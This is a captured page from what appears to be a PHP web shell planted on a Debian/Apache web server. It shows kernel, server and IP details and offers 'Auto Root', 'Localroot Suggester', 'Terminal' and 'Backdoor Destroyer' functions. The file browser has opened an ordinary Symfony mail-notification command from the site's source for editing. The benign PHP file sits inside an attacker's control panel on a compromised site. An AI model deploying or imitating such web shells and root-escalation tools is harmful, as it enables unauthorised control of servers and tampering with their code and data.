Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
ContactBundle /
Command /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
MailChimpBatchSyncCommand.php
1.83
KB
-rwxrwxr-x
2026-04-02 11:48
MailChimpForgetCommand.php
1.42
KB
-rwxrwxr-x
2026-04-02 11:48
MailChimpRenameDomainCommand.php
1.44
KB
-rwxrwxr-x
2026-04-02 11:48
MessageCommand.php
1.51
KB
-rwxrwxr-x
2026-04-02 12:06
SendNotificationsCommand.php
1.54
KB
-rwxrwxr-x
2026-04-02 12:06
php_errors.log
670
B
-rwxrwxr-x
2026-04-02 12:06
Save
Rename
<?php namespace App\ContactBundle\Command; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use App\CoreBundle\Services\ServiceGetterManager; /** * Send Notifications Command * * @author Otto Saayman <otto@igotafrica.com> * @package ContactBundle * @subpackage Controller * @version 0.0.1 */ class SendNotificationsCommand extends Command { private $serviceGetterManager; public function __construct(ServiceGetterManager $serviceGetterManager) { $this->serviceGetterManager = $serviceGetterManager; parent::__construct(); } protected function configure() { $this ->setName('iga:message:notify') ->setDescription('Send notification e-mails daily') ; } protected function execute(InputInterface $input, OutputInterface $output) { $_SERVER["HTTP_HOST"] = 'igotafrica.com'; $defaultSiteId = $this->serviceGetterManager->get('system_setting.manager')->getSetting('default_site_id'); $defaultSite = $this->serviceGetterManager->get('sites.manager')->find($defaultSiteId); if (is_object($defaultSite)) { $_SERVER["HTTP_HOST"] = $defaultSite->getSiteHostName(); } $messageManager = $this->serviceGetterManager->get('contact_message.manager'); $mailCount = $messageManager->sendNotificationMails(); $output->writeln('Sent ' . $mailCount . ' notification mails'); return $mailCount; } }